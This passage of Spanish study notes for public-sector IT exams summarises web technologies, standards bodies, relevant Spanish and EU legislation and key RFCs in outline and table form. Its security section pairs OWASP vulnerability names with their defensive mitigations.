│ ├── Patrón MVC: Modelo + Vista + Controlador
│ └── BBDD: Relacionales (SQL, ACID) y NoSQL (documentos, clave-valor, grafo)
│
├── MULTIPLATAFORMA / MULTIDISPOSITIVO
│ ├── Responsive Design: media queries, viewport, imágenes responsivas
│ ├── Mobile First: diseño desde móvil hacia arriba
│ ├── PWA: Service Worker + Manifest + HTTPS
│ └── Accesibilidad WCAG 2.2 (A/AA/AAA) — RD 1112/2018 en España
│
├── HTML
│ ├── Versiones: HTML 1.0 (1991) → HTML 4.01 → XHTML → HTML5 (2014) → Living Standard
│ ├── Mantenido por WHATWG (acuerdo con W3C, 2019)
│ ├── Elementos semánticos: header, nav, main, article, section, aside, footer
│ ├── Formularios: tipos de input, validación nativa, fieldset/legend
│ ├── Multimedia: video, audio, canvas, SVG
│ └── APIs: Geolocation, Storage, Workers, WebSockets, Notifications, WebRTC...
│
├── XML y DERIVACIONES
│ ├── XML: metalenguaje extensible, jerárquico, transporta datos (W3C, 1998)
│ ├── DTD: validación (sintaxis propia, limitada)
│ ├── XSD/XML Schema: validación potente, escrita en XML, tipos de datos
│ ├── XPath: selección de nodos en documentos XML
│ ├── XSLT: transformación XML → HTML/XML/texto
│ ├── XQuery: consulta de datos XML (equivale a SQL)
│ └── Derivados: XHTML, SVG, SOAP/WSDL, RSS/Atom, KML, XAML, ODF, OOXML, EPUB, SAML...
│
├── JSON (no XML pero clave): RFC 8259, ECMA-404, más usado que XML en APIs REST
│
├── NAVEGADORES
│ ├── Chrome/Edge/Opera/Samsung → Motor Blink, Motor V8 (~70% cuota)
│ ├── Safari → Motor WebKit, JavaScriptCore (~19%)
│ ├── Firefox → Motor Gecko, SpiderMonkey (~3%)
│ ├── Critical Rendering Path: DNS→TCP→HTTP→Parse HTML→DOM→CSSOM→JS→Layout→Paint→Composite
│ └── Same-Origin Policy + CORS para seguridad entre dominios
│
├── LENGUAJES DE PROGRAMACIÓN WEB
│ ├── JavaScript/ECMAScript (ECMA-262) — cliente y servidor (Node.js)
│ ├── TypeScript: superset JS con tipado estático (Microsoft)
│ ├── PHP: ~77% servidores web, Laravel, Symfony
│ ├── Python: Django, Flask, FastAPI — también IA/ML
│ ├── Java: Spring Boot, Jakarta EE — entornos empresariales
│ ├── C#/ASP.NET Core — ecosistema Microsoft
│ ├── Ruby on Rails: DRY, CoC
│ └── WebAssembly: rendimiento nativo en navegador (C/C++/Rust compilados)
│
└── SEGURIDAD (OWASP Top 10)
├── SQL Injection → Prepared Statements
├── XSS → htmlspecialchars, CSP
├── CSRF → tokens, SameSite cookies
├── Broken Access Control → autorización correcta
├── JWT: autenticación stateless (Header.Payload.Signature en Base64URL)
├── OAuth 2.0 + OpenID Connect: autorización/autenticación delegada
└── HTTPS + TLS + Headers de seguridad
| Concepto | Definición Breve |
|---|---|
| SPA | Single Page Application: app web que carga una sola página HTML y actualiza el contenido dinámicamente sin recargar |
| PWA | Progressive Web App: app web con capacidades nativas (offline, instalable, push) via Service Worker + Manifest |
| REST | Estilo arquitectónico para APIs web: stateless, recursos por URL, HTTP como protocolo, JSON/XML como formato |
| AJAX | Asynchronous JavaScript and XML: técnica para actualizar partes de la página sin recargarla completa |
| DOM | Document Object Model: representación en árbol del documento HTML accesible y manipulable desde JavaScript (W3C) |
| BOM | Browser Object Model: objetos que representan el navegador (window, location, history, navigator) |
| CDN | Content Delivery Network: red distribuida de servidores para entregar contenido con menor latencia |
| ORM | Object-Relational Mapping: abstracción para interactuar con BBDD relacionales usando objetos del lenguaje |
| SSR | Server-Side Rendering: HTML generado en servidor antes de enviarlo al cliente (mejor SEO, primera carga más rápida) |
| CSR | Client-Side Rendering: HTML generado en el navegador mediante JavaScript |
| SSG | Static Site Generation: HTML pregenerado en tiempo de build (rapidez máxima) |
| JWT | JSON Web Token: token firmado en 3 partes (Header.Payload.Signature) para autenticación stateless |
| CORS | Cross-Origin Resource Sharing: mecanismo HTTP para permitir peticiones entre dominios distintos |
| SEO | Search Engine Optimization: técnicas para mejorar el posicionamiento en buscadores |
| WCAG | Web Content Accessibility Guidelines: directrices de accesibilidad web del W3C (nivel AA requerido en sector público ES) |
| CI/CD | Continuous Integration/Deployment: automatización de pruebas y despliegue de código |
| Vite/Webpack | Build tools: empaquetan y optimizan el código front-end para producción |
| WebAssembly | Formato binario compilado que ejecuta código nativo (C/C++/Rust) en el navegador |
| GraphQL | Lenguaje de consulta para APIs donde el cliente especifica exactamente los datos que necesita (Meta, 2015) |
| Microservicios | Arquitectura donde la app se divide en servicios independientes con ciclo de vida propio |
| ACID | Propiedades de transacciones en BBDD: Atomicidad, Consistencia, Aislamiento, Durabilidad |
| MVC | Model-View-Controller: patrón que separa datos, presentación y lógica de control |
Organismos de estandarización:
- W3C: HTML, CSS, DOM, SVG, XML, XSD, XSLT, WebAccessibility (WCAG)
- WHATWG: HTML Living Standard, DOM, Fetch, URL
- ECMA International: ECMAScript (ECMA-262), JSON (ECMA-404)
- IETF: HTTP (RFC 9110/9112/7540/9114), TLS (RFC 8446), JWT (RFC 7519), OAuth (RFC 6749)
- ISO/IEC JTC1: ISO 8879 (SGML), ISO/IEC 15445 (HTML)
- OASIS: SOAP, SAML, ODF, DocBook
Legislación española y europea relevante:
- Ley 34/2002 (LSSI-CE): servicios de la sociedad de la información y comercio electrónico
- Real Decreto 1112/2018: accesibilidad de los sitios web y aplicaciones para dispositivos móviles del sector público (transpone Directiva 2016/2102/UE). Requiere conformidad WCAG 2.1 nivel AA.
- RGPD / LOPDGDD: Reglamento General de Protección de Datos y Ley Orgánica 3/2018 (protección de datos en apps web)
- ENS (Esquema Nacional de Seguridad): Real Decreto 311/2022, aplica a sistemas de información de las AAPP
- Directiva NIS2 (UE 2022/2555): ciberseguridad en entidades esenciales e importantes (transpuesta en España)
- Reglamento eIDAS: identificación electrónica y servicios de confianza en la UE
- LSSICE: firma electrónica y factura electrónica
Especificaciones clave:
- RFC 9110: HTTP Semantics (2022)
- RFC 9112: HTTP/1.1 (2022)
- RFC 7540: HTTP/2 (2015)
- RFC 9114: HTTP/3 (2022)
- RFC 8446: TLS 1.3 (2018)
- RFC 7519: JWT (2015)
- RFC 6749: OAuth 2.0 (2012)
- ECMA-262: ECMAScript (JavaScript)
| Tecnología | Tipo | Lado | Organismo | Uso principal |
|---|---|---|---|---|
| HTML5 | Lenguaje marcado | Cliente | WHATWG/W3C | Estructura de páginas |
| CSS3 | Lenguaje estilos | Cliente | W3C | Presentación y diseño |
| JavaScript (ES2023) | Lenguaje programación | Cliente/Servidor | ECMA | Lógica, interactividad |
| TypeScript | Lenguaje programación | Cliente/Servidor | Microsoft | JS con tipado estático |
| PHP 8 | Lenguaje programación | Servidor | PHP Foundation | Backend web |
| Python | Lenguaje programación | Servidor | PSF | Backend, IA/ML |
| Java / Jakarta EE | Lenguaje programación | Servidor | Oracle/Eclipse | Backend empresarial |
| XML | Metalenguaje marcado | Datos | W3C | Intercambio/almacén datos |
| JSON | Formato datos | Datos | ECMA/IETF | Intercambio datos APIs |
| HTTP/HTTPS | Protocolo | Red | IETF | Comunicación web |
| WebSocket | Protocolo | Red | IETF/W3C | Tiempo real bidireccional |
| REST | Estilo arquitectónico | API | — (Fielding) | APIs web modernas |
| SOAP | Protocolo/formato | API | W3C/OASIS | Servicios web empresariales |
| GraphQL | Lenguaje consulta | API | Meta/Linux Found. | APIs flexibles |
| WebAssembly | Formato binario | Cliente | W3C | Rendimiento nativo |
Tema preparado para oposiciones de informática de las Administraciones Públicas
Referencias: W3C, WHATWG, MDN Web Docs, ECMA International, OWASP, IETF, ENS, BOE
Última actualización: 2025